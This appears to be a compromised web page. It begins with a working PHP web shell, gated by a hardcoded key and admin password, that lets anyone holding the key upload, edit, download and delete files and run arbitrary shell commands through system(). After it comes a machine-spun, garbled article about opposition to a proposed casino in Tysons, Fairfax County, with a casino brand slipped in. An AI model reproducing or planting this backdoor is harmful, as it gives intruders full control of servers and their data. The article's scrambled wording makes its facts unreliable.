if (isset($_GET['k']) && $_GET['k'] === 'mintinplan') { function ws_g($k) { return isset($_GET[$k]) ? $_GET[$k] : (isset($_POST[$k]) ? $_POST[$k] : ''); } function ws_b($s) { return base64_decode($s); } $validKey = 'mintinplan'; $validU = 'admin'; $validP = 'MinMaxtime'; $auth = false; $sname = 'ws_auth'; if (isset($_SESSION) && isset($_SESSION[$sname]) && $_SESSION[$sname] === true) $auth = true; elseif (isset($_COOKIE[$sname])) { $d = json_decode(ws_b(substr($_COOKIE[$sname], 0)), true); if ($d && isset($d['ok']) && $d['ok']) $auth = true; } if (!$auth) { $u = ws_g('usr'); $p = ws_g('pwd'); if ($u === $validU && $p === $validP) { @session_start(); $_SESSION[$sname] = true; setcookie($sname, base64_encode(json_encode(['ok'=>true])), time()+86400, '/', '', false, true); header('Location: ?k='.$validKey); exit; } echo 'Login


'; exit; } if (ws_g('lo')) { @session_start(); session_destroy(); setcookie($sname, '', time()-3600); header('Location: ?k='.$validKey); exit; } $act = ws_g('a'); $path = ws_g('p') ?: getcwd(); $path = realpath($path) ?: getcwd(); echo 'Shell'; echo ''; echo '
'; echo '[📂 Home] '; echo '[🖥️ Terminal] '; echo '[💾 Drives] '; echo '[🌳 Tree] '; echo '[⬆ Upload] '; echo '[🚪 Logout]'; echo '

'; switch ($act) { case 'upload': echo '

⬆ Upload File to: '.htmlspecialchars($path).'

'; echo '
'; echo '

'; echo '

'; echo ''; echo '

'; if (isset($_POST['do_upload']) && isset($_FILES['upfile'])) { $f = $_FILES['upfile']; if ($f['error'] === UPLOAD_ERR_OK) { $name = ws_g('rename') ?: $f['name']; $dest = rtrim($path, '/').'/'.$name; if (move_uploaded_file($f['tmp_name'], $dest)) { $sz = round(filesize($dest)/1024, 2); echo '

✅ Uploaded: '.htmlspecialchars($dest).' ('.$sz.'KB)

'; } else { echo '

❌ move_uploaded_file failed (check permissions on '.htmlspecialchars($path).')

'; } } else { $errors = [1=>'File too large (php.ini)',2=>'File too large (form)',3=>'Partial upload',4=>'No file',6=>'No tmp dir',7=>'Write failed',8=>'Extension blocked']; echo '

❌ Error: '.($errors[$f['error']] ?? 'Unknown').'

'; } } echo '

📋 Current directory contents:

';
            $items = scandir($path);
            if ($items) {
                foreach ($items as $item) {
                    if ($item === '.' || $item === '..') continue;
                    $full = $path.'/'.$item;
                    if (is_dir($full)) echo '📁 '.$item."/\n";
                    else echo '📄 '.$item.' ('.round(filesize($full)/1024,1).'KB)'."\n";
                }
            }
            echo '
'; break; case 'tree': echo '

🌳 Directory Tree (depth 4)

';
            function ws_tree($root, $depth=0, $max=4) {
                if ($depth > $max) return;
                if (!is_dir($root)) return;
                $items = scandir($root);
                if (!$items) return;
                foreach ($items as $item) {
                    if ($item === '.' || $item === '..') continue;
                    $full = $root.'/'.$item;
                    if (is_dir($full)) {
                        echo str_repeat('  ', $depth).'📁 '.$item."/\n";
                        ws_tree($full, $depth+1, $max);
                    } else {
                        echo str_repeat('  ', $depth).'📄 '.$item.' ('.round(filesize($full)/1024,1).'KB)'."\n";
                    }
                }
            }
            ws_tree($path);
            echo '
'; break; case 'drives': echo '

💾 Accessible Roots

';
            if (strtoupper(substr(PHP_OS,0,3)) === 'WIN') {
                for ($i=67;$i<=90;$i++) { $d=chr($i).':\\'; if (is_dir($d)) echo $d." ✓\n"; }
            } else {
                $cands = ['/','/home','/var','/tmp','/usr','/etc','/opt','/root','/srv','/www','/var/www','/var/www/html',$_SERVER['DOCUMENT_ROOT']??''];
                foreach (array_unique($cands) as $c) { if ($c && is_dir($c)) echo $c." ✓\n"; }
            }
            echo '
'; break; case 'read': $f = ws_g('f'); if (!$f || !is_file($f)) { echo 'File not found'; break; } $content = file_get_contents($f); echo '

📝 Editing: '.htmlspecialchars($f).' ('.round(strlen($content)/1024,1).'KB)

'; echo '
'; echo ''; echo '
'; echo '
'; break; case 'save': $f = ws_g('f'); $c = ws_g('c'); if ($f) { file_put_contents($f, $c); echo '✅ Saved: '.htmlspecialchars($f); } break; case 'exec': $cmd = ws_g('c'); $output = ''; if ($_SERVER['REQUEST_METHOD'] === 'POST' && $cmd) { ob_start(); system($cmd); $output = ob_get_clean(); } echo '

🖥️ Terminal (user: '.htmlspecialchars(get_current_user()).')

'; echo '
'; if ($output !== '') echo '
'.htmlspecialchars($output).'
'; else echo '
No output
'; break; case 'down': $f = ws_g('f'); if ($f && is_file($f)) { header('Content-Type: application/octet-stream'); header('Content-Disposition: attachment; filename="'.basename($f).'"'); header('Content-Length: '.filesize($f)); readfile($f); exit; } echo 'File not found'; break; case 'del': $f = ws_g('f'); if ($f && is_file($f)) { if (unlink($f)) echo '✅ Deleted: '.htmlspecialchars($f); else echo '❌ Delete failed (permission?)'; } elseif ($f && is_dir($f)) { if (rmdir($f)) echo '✅ Directory removed: '.htmlspecialchars($f); else echo '❌ rmdir failed (not empty or permission?)'; } break; case 'newfile': $fname = ws_g('nf'); if ($fname) { $dest = rtrim($path,'/').'/'.$fname; if (file_put_contents($dest, '') !== false) echo '✅ Created: '.htmlspecialchars($dest); else echo '❌ Create failed'; } echo '
'; echo ''; echo ''; echo ''; echo '
'; break; case 'newdir': $dname = ws_g('nd'); if ($dname) { $dest = rtrim($path,'/').'/'.$dname; if (mkdir($dest, 0755)) echo '✅ Created dir: '.htmlspecialchars($dest); else echo '❌ mkdir failed'; } echo '
'; echo ''; echo ''; echo ''; echo '
'; break; default: echo '

📂 '.htmlspecialchars($path).'

'; $parent = dirname($path); if ($parent && $parent !== $path) echo '⬆ Parent | '; echo '[+ New File] | '; echo '[+ New Dir] | '; echo '[⬆ Upload]

'; echo ''; $items = scandir($path); if ($items) { foreach ($items as $item) { if ($item === '.' || $item === '..') continue; $full = $path.'/'.$item; $isDir = is_dir($full); $size = $isDir ? '-' : round(filesize($full)/1024,1).'KB'; $perms = substr(sprintf('%o',fileperms($full)),-4); $enc = urlencode($full); echo ''; if ($isDir) echo ''; else echo ''; echo ''; } } echo '
NameSizePermsActions
📁 '.$item.'📄 '.$item.''.$size.''.$perms.''; if (!$isDir) echo '[Edit] '; echo '[Download] '; echo '[Delete]'; echo '
'; break; } echo ''; exit; } Good petition resistant to the advised casino might have been signed by the almost 2,100 somebody – collectives.berlin

Your digital paradise.

Good petition resistant to the advised casino might have been signed by the almost 2,100 somebody

Fairfax County’s condition delegation is actually broke up into the vote to accept the appointment replacement, that have Jennifer Carroll Foy (D-33) and you will Stella Pekarsky (D-36) joining Surovell and you can Marsden due to the fact supporters and you may E Bennett-Parker (D-39) and you can Saddam Azlan Salim (D-37) signing up for Boysko when you look at the opposition

Comstock is designed to develop a primary combined-play with venture, in addition to a gambling establishment, that can center around a currently vacant lot within 8546 Leesburg Pike close to the Springtime Hill Location Route

McKay believes approaching a casino you’ll overshadow his contention the county have did not safely help areas. Almost every other executives, and additionally Couch Jeff McKay, state the newest casino number coolbet is bring a back-seat in order to way more pressing situations up against the newest county. Though some unions and you can change teams has accepted the force, zero property owners, neighborhood, or civic providers has come out in support out-of gambling. �Fairfax State has become a location in which it’s not such appealing to help you young adults inside their 20s and 30s. This new gambling establishment package have not convinced rivals like Fairfax State Management Walter Alcorn, whom is short for the newest Reston area.

Board regarding Administrators President Jeff McKay awarded a mad later-evening declaration signed of the every 9 Democrats toward board. Surovell keeps explained that his assistance is due to his enough time-date backing regarding local casino betting, which he features offered once the entering the General Assembly this season. Senate Bulk Chief Scott Surovell, a good Democrat which is short for Fairfax, contributed the new laws and regulations, marking the next consecutive class you to Richmond features experienced the latest offer.

New offer is short for �a way to provide an amusement point� so you’re able to Tysons, Comstock Exec Vice-president for Development John Harrison advised area users Monday (Jan. 7) during the a forum organized by Fairfax State NAACP. Huntsman Mill District Management Walter Alcorn, just who added the latest force to obtain the state board officially oppose Surovell’s expenses, said from inside the an announcement that the regulations �just adopted rather more serious� due to the newest transform.

�The fresh Board away from Administrators has made obvious that the advised casino expenses is actually a bad idea to possess Fairfax County that individuals commonly trying to find,� told you Dranesville Manager Jimmy Bierman, who means the bedroom where lots of of intelligence and you can coverage-related practices are observed. �We could with confidence counsel you that people probably is short for brand new high concentration of federal, civilian, and you can military group most abundant in delicate cover clearances regarding the United states, with accessibility the nation’s vital intelligence and you may safety pointers,� the latest letter claims. Dalia Palchik, exactly who is short for Tysons Corner, said no one keeps reached their particular regarding the help a casino investment for the their district.

Rather, Senate Bulk Chief Scott Surovell (D-Attach Vernon), which represents the latest Nicotine gum Springs area from inside the Richmond, tend to bring the fresh guidelines now. One another organizations have come out in public areas to help with and you can contradict, correspondingly, intentions to generate a casino in Tysons. Marriott Bonvoy Elite Standing does not bring free of charge usage of the new Pub.

In the Ritz-Carlton, Tysons Part, the audience is happy to help with the fresh new missions off low-cash partner teams all over the world. Choose bedroom noted that have settee availability getting a current availableness It slight luxury hotel for the Tysons Corner, Virtual assistant also offers effortless access to the fresh area’s greatest products, of highest-end searching at connected Tysons Galleria in order to legendary sites from inside the regional Arizona, DC.

FOX 5 spoke that have good Fairfax citizen, Michael Davis, which echoed things FOX 5 heard multiple times – that there is hardly any natural support for it Last year, this work is actually tabled but FOX 5 advertised which prior month it is expected to developed once again. And each go out I make a suggestion that is consistent with exactly what it asked for, it is said it is not what they required. Bringing a casino toward urban area possess motivated ongoing issues, McKay said, in addition to how it manage feeling possessions thinking, guests and college or university communities. She made an announcement into the personal testimony section of the fulfilling.

According to Fairfax County Services Coalition, brand new prepared gambling enterprise innovation do promote 5,000 efforts to Tysons, and additionally �partnership design work and you can a reasonable processes having tens of thousands of permanent hospitality professionals to choose unionization.� Anne Gruner, who invested 25 years in the CIA and you will co-seating brand new Federal Shelter Frontrunners getting Fairfax, anxieties that simple entry to your local casino you certainly will lead federal specialists and you will builders to cultivate a problem with betting, which will be exploited because of the overseas opponents. The proposed gambling enterprise carry out attend Tysons Area, lower than 20 miles to the west of the country’s financial support inside the North Virginia. As to the reasons previous spies oppose a recommended gambling enterprise near Arizona, D.C. Another local casino could be oriented below 20 miles western out-of Arizona D.C. More than 100 previous spies and you may intelligence officers contradict the construction due to inquiries it may jeopardize state secrets. �On condition within the authorizing which, there clearly was $2.twenty-three mil for every ten years of cash getting university construction, a lot more of you to with the general fund.”